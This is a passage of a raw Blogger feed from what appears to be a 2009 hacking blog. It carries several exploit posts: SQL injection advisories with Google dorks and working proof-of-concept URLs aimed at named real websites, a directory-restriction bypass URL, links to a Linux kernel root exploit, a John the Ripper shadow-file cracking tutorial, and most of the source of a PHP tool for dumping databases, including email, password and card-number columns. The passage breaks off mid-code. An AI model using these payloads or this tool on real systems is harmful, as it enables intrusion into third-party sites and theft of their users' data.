: www.sitemanager.ims.net&lt;br /&gt;   |&lt;br /&gt; |  Date     : 13 sept 2009&lt;br /&gt;   |&lt;br /&gt; |  Author   : zxvf&lt;br /&gt;   |&lt;br /&gt; |  Contact  : paddy[at]antisecurity[dot]org&lt;br /&gt;   |&lt;br /&gt;[o]------------------------------------------------------------------------------------[o]&lt;br /&gt;&lt;br /&gt;[?] Google Dork&lt;br /&gt;&lt;br /&gt;    "Powered by IMS SiteManager"&lt;br /&gt;&lt;br /&gt;[?] Exploit&lt;br /&gt;&lt;br /&gt;    http://[site]/index.php?storecategory_id=&lt;br /&gt;&lt;br /&gt;[?] Proof of Concept&lt;br /&gt;&lt;br /&gt;    https://www.rainfordane.com/order/index.php?storecategory_id=247&lt;br /&gt;        https://www.downtownmadison.org/store/index.php?storecategory_id=223&lt;br /&gt;&lt;br /&gt;[o]------------------------------------------------------------------------------------[x]&lt;br /&gt; |  Greetz&lt;br /&gt;   |&lt;br /&gt;[o]------------------------------------------------------------------------------------[o]&lt;br /&gt; |  AntiSecurity Crew&lt;br /&gt;   |&lt;br /&gt; |  Mainhack Crew&lt;br /&gt;   |&lt;br /&gt; |  Nob0dy Crew&lt;br /&gt;   |&lt;br /&gt; |  c0li, OoN_Boy, NoGe, paman, pizzyroot, noname, angela, eminem, xx_user,&lt;br /&gt;   |&lt;br /&gt; |  Special for Dipsy&lt;br /&gt;   |&lt;br /&gt; |  Armageddon Team, and all indonesian hacker!&lt;br /&gt;   |&lt;br /&gt; |  BeHave oR BeGone !!!&lt;br /&gt;   |&lt;br /&gt;[o]------------------------------------------------------------------------------------[o]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-2527459325158343593?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/2527459325158343593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ims-sitemanager-blind-sql-injection_19.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2527459325158343593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2527459325158343593'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ims-sitemanager-blind-sql-injection_19.html' title='IMS SiteManager Blind SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4513093619359549756</id><published>2009-09-19T20:08:00.000-07:00</published><updated>2009-09-19T20:12:15.740-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>ExpressLink™ SEO Blind SQL Injection Vuln</title><content type='html'>&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;*                Details                     *&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;    type    :: ( menu_list.php?cid= ) Blind Sql Injection Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;    author  :: ^s0n_g0ku^&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;    Contact :: dh_4n[at]ymail[dot]com&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;    Site    :: http://xcode.or.id/&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;*           Script information             *&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; script   :: ExpressLink™ SEO&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; Vendor   :: http://www.wevioexpress.com/&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; dork       :: kreasikan Pikiranmu&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;*             Exploit              *&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; Exploit ::&lt;br /&gt;&lt;br /&gt;        http://www.site.com/menu_list.php?cid=381&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; Examp      ::&lt;br /&gt;&lt;br /&gt;        http://www.poloagawa.com/menu_list.php?cid=381+and+1=1  &lt;&lt;&lt; Thrue&lt;br /&gt;        http://www.poloagawa.com/menu_list.php?cid=381+and+1=2  &lt;&lt;&lt; false&lt;br /&gt;&lt;br /&gt;        http://www.empireallergy.com/menu_list.php?cid=1+and+1=1 &lt;&lt;&lt; Thrue&lt;br /&gt;        http://www.empireallergy.com/menu_list.php?cid=1+and+1=2 &lt;&lt;&lt; false&lt;br /&gt;&lt;br /&gt;&lt;&gt;&gt;&gt;&lt;&lt;&gt;&gt;&gt; Admin Login Page   ::&lt;br /&gt;&lt;br /&gt;        http://site.com/admin/&lt;br /&gt;&lt;br /&gt;Enjoy That&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4513093619359549756?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4513093619359549756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ims-sitemanager-blind-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4513093619359549756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4513093619359549756'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ims-sitemanager-blind-sql-injection.html' title='ExpressLink™ SEO Blind SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-6620388737691864219</id><published>2009-09-17T05:35:00.000-07:00</published><updated>2009-09-17T05:36:26.368-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>BSR Webweaver Version 1.33 /Scripts access restriction bypass</title><content type='html'>[*] Date: 15/09/09&lt;br /&gt;&lt;br /&gt;[*] http://www.brswebweaver.com/downloads.html&lt;br /&gt;&lt;br /&gt;[*] Attack type : Remote&lt;br /&gt;&lt;br /&gt;[*] Patch Status : Unpatched&lt;br /&gt;&lt;br /&gt;[*] Description : In ISAPI/CGI path is [%installdirectory%/scripts] and through HTTP the alias is [http://[host]/scripts] ,The access security check is that if the attacker tries to access /scripts a 404 Error response occurs ! Now to bypass and check the directory listing [That is if Directory Browsing is allowed in the server Configuration !] just copy and paste the exploit url !.&lt;br /&gt;This is the reason this exploit is not called a Directory Listing Exploit !&lt;br /&gt;&lt;br /&gt;[*] Exploitation :&lt;br /&gt;&lt;br /&gt;[+] http://[host]/scripts/%bg%ae%bg%ae/.exe&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-6620388737691864219?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/6620388737691864219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/bsr-webweaver-version-133-scripts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6620388737691864219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6620388737691864219'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/bsr-webweaver-version-133-scripts.html' title='BSR Webweaver Version 1.33 /Scripts access restriction bypass'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5634979519682271975</id><published>2009-09-17T05:04:00.000-07:00</published><updated>2009-09-17T05:10:44.118-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>How to Use John the Ripper</title><content type='html'>In this config we going to use John the Ripper’s password cracker to enhance the security of your server by choosing a proper password for your system. This config assumes that you have already installed John the Ripper’s password cracker. If you haven’t installed it then please go to  install Password cracker - John the Ripper now.&lt;br /&gt;&lt;br /&gt;Create test user&lt;br /&gt;&lt;br /&gt;For testing purposes you should create a testing user “johnripper” with password “password”.&lt;br /&gt;&lt;br /&gt;adduser johnripper&lt;br /&gt;&lt;br /&gt;    Image:johnripper01.jpg &lt;br /&gt;&lt;br /&gt;Crack password&lt;br /&gt;&lt;br /&gt;John the Ripper’s password cracker needs to access a shadow file in order to be able crack a password. You need to run “john” as superuser “root”. Be sure that John Binary is in your path, or you are in directory where john Binary resides. Try and see how long it will take to crack your super secure password of: “password”&lt;br /&gt;&lt;br /&gt;./john -users:johnripper /etc/shadow&lt;br /&gt;&lt;br /&gt;    Image:johnripper02.jpg &lt;br /&gt;&lt;br /&gt;To guess a password in 0 seconds is excellent time. Try making it more difficult and change the password for user “johnripper” to “password1″ and attempt to crack the password again:&lt;br /&gt;&lt;br /&gt;    Image:johnripper03.jpg &lt;br /&gt;&lt;br /&gt;What if you changed the password to “password10″. How long will it take to crack the password now? Who knows, I gave up after 23 hours. Apparently my linuxbox is not as powerful as I thought, if you get a result please let me know.&lt;br /&gt;&lt;br /&gt;    Image:johnripper04.jpg &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5634979519682271975?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5634979519682271975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/how-to-use-john-ripper.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5634979519682271975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5634979519682271975'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/how-to-use-john-ripper.html' title='How to Use John the Ripper'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5892396853748422226</id><published>2009-09-17T05:01:00.001-07:00</published><updated>2009-09-17T05:02:14.556-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Linux Kernel 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)</title><content type='html'>/* second verse, same as the first&lt;br /&gt;   CVE-2009-2698 udp_sendmsg(), x86/x64&lt;br /&gt;   Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at&lt;br /&gt;   NULL and finding it executed&lt;br /&gt;   This exploit is a bit more nuanced and thoughtful ;)&lt;br /&gt;   use ./therebel.sh for everything&lt;br /&gt;&lt;br /&gt;   At this moment, when each of us must fit an arrow to his bow and&lt;br /&gt;   enter the lists anew, to reconquer, within history and in spite of it,&lt;br /&gt;   that which he owns already, the thin yield of his fields, the brief&lt;br /&gt;   love of the earth, at this moment when at last a man is born, it is&lt;br /&gt;   time to forsake our age and its adolescent furies.  The bow bends;&lt;br /&gt;   the wood complains.  At the moment of supreme tension, there will&lt;br /&gt;   leap into flight an unswerving arrow, a shaft that is inflexible and&lt;br /&gt;   free.  -Camus&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;main: http://grsecurity.net/~spender/therebel.tgz&lt;br /&gt;back: http://milw0rm.com/sploits/2009-therebel.tgz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5892396853748422226?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5892396853748422226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/linux-kernel-2426-socksendpage-ring0_17.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5892396853748422226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5892396853748422226'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/linux-kernel-2426-socksendpage-ring0_17.html' title='Linux Kernel 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4531076912396010196</id><published>2009-09-14T02:45:00.000-07:00</published><updated>2009-09-14T02:46:09.337-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>IndexScript 3.0 SQL Injection Vuln</title><content type='html'>[o] IndexScript 3.0 SQL Injection Vulnerability&lt;br /&gt;Software : IndexScript version 3.0&lt;br /&gt;Vendor   : http://www.indexscript.com/&lt;br /&gt;Download : http://www.indexscript.com/download.php&lt;br /&gt;Author   : NoGe&lt;br /&gt;Home     : http://antisecurity.org&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;more.php&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/more.php?cat_id=[SQL]&lt;br /&gt;&lt;br /&gt;[o] Proof of Concept&lt;br /&gt;http://texxsmith.com/directory/more.php?cat_id=-3+union+select+1,2,3,4,5,version(),database(),user(),9--&lt;br /&gt;http://www.internetkatalogen.net/more.php?cat_id=-77+union+select+1,2,3,4,5,version(),database(),user(),9--&lt;br /&gt;&lt;br /&gt;[o] Dork&lt;br /&gt;"powered by IndexScript"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4531076912396010196?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4531076912396010196/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/indexscript-30-sql-injection-vuln.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4531076912396010196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4531076912396010196'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/indexscript-30-sql-injection-vuln.html' title='IndexScript 3.0 SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-381776334337239307</id><published>2009-09-12T19:16:00.000-07:00</published><updated>2009-09-14T02:42:50.392-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Sourcode sqltools.php</title><content type='html'>&lt;p&gt;code sql tools &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 380px; height: 146px; text-align: left;"&gt;&amp;lt;?&lt;br /&gt;set_time_limit(0);&lt;br /&gt;error_reporting(0);&lt;br /&gt;$fungsi=strip_tags($_POST['fungsi']);&lt;br /&gt;$url=strip_tags($_POST['url']);&lt;br /&gt;$db=strip_tags($_POST['db']);&lt;br /&gt;$table=strip_tags($_POST['table']);&lt;br /&gt;$column=strip_tags($_POST['column']);&lt;br /&gt;$start=strip_tags($_POST['start']);&lt;br /&gt;$stop=strip_tags($_POST['stop']);&lt;br /&gt;  $target=strip_tags($_POST['target']);&lt;br /&gt;  ?&amp;gt;&lt;br /&gt;  &amp;lt;title&amp;gt;.: SQL INJECTION TOOL BY ECEK2 &amp;amp; OON_BOY :.&amp;lt;/title&amp;gt;&lt;br /&gt;  &amp;lt;head&amp;gt;&lt;br /&gt;  &amp;lt;/head&amp;gt;&lt;br /&gt;  &amp;lt;script&amp;gt;&lt;br /&gt;  function show(id){&lt;br /&gt;  document.getElementById(id).style.display=&amp;quot;block&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;  function hide(id){&lt;br /&gt;  document.getElementById(id).style.display=&amp;quot;none&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;  function db(){show(&amp;quot;db&amp;quot;);hide(&amp;quot;table&amp;quot;);hide(&amp;quot;column&amp;quot;);hide(&amp;quot;dump&amp;quot;);hide(&amp;quot;findcol&amp;quot;);}&lt;br /&gt;  function table(){hide(&amp;quot;db&amp;quot;);show(&amp;quot;table&amp;quot;);hide(&amp;quot;column&amp;quot;);hide(&amp;quot;dump&amp;quot;);hide(&amp;quot;findcol&amp;quot;);}&lt;br /&gt;  function column(){hide(&amp;quot;db&amp;quot;);hide(&amp;quot;table&amp;quot;);show(&amp;quot;column&amp;quot;);hide(&amp;quot;dump&amp;quot;);hide(&amp;quot;findcol&amp;quot;);}&lt;br /&gt;  function dump(){hide(&amp;quot;db&amp;quot;);hide(&amp;quot;table&amp;quot;);hide(&amp;quot;column&amp;quot;);show(&amp;quot;dump&amp;quot;);hide(&amp;quot;findcol&amp;quot;);}&lt;br /&gt;  function findcol(){hide(&amp;quot;db&amp;quot;);hide(&amp;quot;table&amp;quot;);hide(&amp;quot;column&amp;quot;);hide(&amp;quot;dump&amp;quot;);show(&amp;quot;findcol&amp;quot;);}&lt;br /&gt;  function help(){alert(&amp;quot;This tool is for helping us playing with sql injection for php mysql site \n Please contact us when you find bug in this tool \n oon@oonboy.info&amp;quot;);}&lt;br /&gt;  &amp;lt;/script&amp;gt;&lt;br /&gt;  &amp;lt;style&amp;gt;&lt;br /&gt;  #db,#table,#column,#dump,#findcol {display:none;}&lt;br /&gt;  &amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;a href=&amp;quot;javascript:findcol();&amp;quot;&amp;gt;FindCol&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;a href=&amp;quot;javascript:db();&amp;quot;&amp;gt;Database&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;a href=&amp;quot;javascript:table();&amp;quot;&amp;gt;Table&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;a href=&amp;quot;javascript:column();&amp;quot;&amp;gt;Column&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;a href=&amp;quot;javascript:dump();&amp;quot;&amp;gt;Dump&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;a href=&amp;quot;javascript:help();&amp;quot;&amp;gt;Help&amp;lt;/a&amp;gt; |&lt;br /&gt;  &amp;lt;b&amp;gt;Created by &amp;lt;a href=http://ecek2.dibatam.com&amp;gt;ecek2&amp;lt;/a&amp;gt; &amp;amp; &amp;lt;a &lt;br /&gt;  href=http://oon.batamhacker.or.id&amp;gt;OoN_Boy&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;  &amp;lt;p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id=db&amp;gt;&lt;br /&gt;  &amp;lt;form method=post&amp;gt;&lt;br /&gt;  &amp;lt;input type=hidden name=fungsi value=db&amp;gt;&lt;br /&gt;  &amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;url&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=url size=100 value=&amp;quot;&amp;lt;?=$url;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit value=&amp;quot;Show Databases&amp;quot;&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&lt;br /&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id=table&amp;gt;&lt;br /&gt;  ex_url : http://www.target.com/vulner.php?id=-1+union+select+1,k0pl0,3,4,5,6,7,8,9&lt;br /&gt;  &amp;lt;form method=post&amp;gt;&lt;br /&gt;  &amp;lt;input type=hidden name=fungsi value=table&amp;gt;&lt;br /&gt;  &amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;url&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=url size=100 value=&amp;quot;&amp;lt;?=$url;?&amp;gt;&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;DB&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=db value=&amp;quot;&amp;lt;?=$db;?&amp;gt;&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit value=&amp;quot;Show Table&amp;quot;&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&lt;br /&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id=column&amp;gt;&lt;br /&gt;  ex_url : http://www.target.com/vulner.php?id=-1+union+select+1,k0pl0,3,4,5,6,7,8,9&lt;br /&gt;  &amp;lt;form method=post&amp;gt;&lt;br /&gt;  &amp;lt;input type=hidden name=fungsi value=column&amp;gt;&lt;br /&gt;  &amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;url&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=url size=100 value=&amp;quot;&amp;lt;?=$url;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;DB&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=db value=&amp;quot;&amp;lt;?=$db;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Table&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=table value=&amp;quot;&amp;lt;?=$table;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit value=&amp;quot;Show Column&amp;quot;&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&lt;br /&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id=dump&amp;gt;&lt;br /&gt;  ex_url : http://www.target.com/vulner.php?id=-1+union+select+1,k0pl0,3,4,5,6,7,8,9&lt;br /&gt;  &amp;lt;form method=post&amp;gt;&lt;br /&gt;  &amp;lt;input type=hidden name=fungsi value=dump&amp;gt;&lt;br /&gt;  &amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;url&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=url size=100 value=&amp;quot;&amp;lt;?=$url;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;DB&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=db value=&amp;quot;&amp;lt;?=$db;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Table&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=table value=&amp;quot;&amp;lt;?=$table;?&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Column&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=column value=&amp;quot;&amp;lt;?=$column;?&amp;gt;&amp;quot;&amp;gt; ex : email,passwd,card_num&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Start&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=start value=&amp;quot;&amp;lt;?=$start;?&amp;gt;&amp;quot;&amp;gt; **start from field number**&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Stop&amp;lt;td&amp;gt; : &amp;lt;td&amp;gt;&amp;lt;input name=stop value=&amp;quot;&amp;lt;?=$stop;?&amp;gt;&amp;quot;&amp;gt; **stop field number**&lt;br /&gt;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit value=&amp;quot;Dump&amp;quot;&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&lt;br /&gt;  &amp;lt;/div&amp;gt;&lt;br 